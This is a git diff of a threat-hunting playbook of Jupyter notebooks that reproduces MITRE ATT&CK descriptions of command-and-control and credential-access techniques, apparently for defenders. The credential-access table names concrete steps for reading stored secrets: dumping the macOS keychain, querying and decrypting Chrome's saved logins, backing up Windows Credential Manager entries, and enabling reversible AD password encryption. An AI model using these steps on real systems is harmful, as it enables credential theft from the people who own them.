"Invoke-AtomicTest T1573 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "87709d88", + "id": "5878c83b", "metadata": {}, "source": "## Detection\nSSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "d08607d8", + "id": "701231d3", "metadata": {}, "source": "\n## Shield Active Defense\n### Protocol Decoder \n Use software designed to deobfuscate or decrypt adversary command and control (C2) or data exfiltration traffic. \n\n Protocol decoders are designed to read network traffic and contextualize all activity between the operator and the implant. These tools are often required to process complex encryption ciphers and custom protocols into a human-readable format for an analyst to interpret.\n#### Opportunity\nThere is an opportunity to reveal data that the adversary has tried to protect from defenders\n#### Use Case\nDefenders can reverse engineer malware and develop protocol decoders that can decrypt and expose adversary communications\n#### Procedures\nCreate and apply a decoder which allows you to view encrypted and/or encoded network traffic in a human-readable format.\n" } @@ -48,13 +48,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1659.ipynb b/playbook/tactics/command-and-control/T1659.ipynb new file mode 100644 index 00000000..23f20c7e --- /dev/null +++ b/playbook/tactics/command-and-control/T1659.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "15fa3ef3", + "metadata": {}, + "source": "# T1659 - Content Injection\nAdversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)" + }, + { + "cell_type": "markdown", + "id": "a95aeae6", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/credential-access.ipynb b/playbook/tactics/credential-access.ipynb index c6967dc7..4d4e740e 100644 --- a/playbook/tactics/credential-access.ipynb +++ b/playbook/tactics/credential-access.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "e1a00c5d", + "id": "e7c2fe97", "metadata": {}, - "source": "# Credential Access\nThe adversary is trying to steal account names and passwords.\n\nCredential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1556.007 | Hybrid Identity | Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)\nT1649 | Steal or Forge Authentication Certificates | Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)\nT1556.006 | Multi-Factor Authentication | Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \nT1621 | Multi-Factor Authentication Request Generation | Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)\nT1557.003 | DHCP Spoofing | Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. \nT1556.005 | Reversible Encryption | An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.\nT1552.007 | Container API | Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. \nT1555.005 | Password Managers | Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)\nT1606.002 | SAML Tokens | An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)\nT1606.001 | Web Cookies | Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)\nT1606 | Forge Web Credentials | Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)\nT1555.004 | Windows Credential Manager | Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)\nT1556.004 | Network Device Authentication | Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)\nT1557.002 | ARP Cache Poisoning | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n\nT1558.004 | AS-REP Roasting | Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)\nT1556.003 | Pluggable Authentication Modules | Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)\nT1003.004 | LSA Secrets | Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)\nT1003.005 | Cached Domain Credentials | Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)\nT1555.003 | Credentials from Web Browsers | Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nT1555.002 | Securityd Memory | An adversary may obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)\nT1555.001 | Keychain | Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) \nT1558.002 | Silver Ticket | Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).\nT1558.001 | Golden Ticket | Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.\nT1558 | Steal or Forge Kerberos Tickets | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as 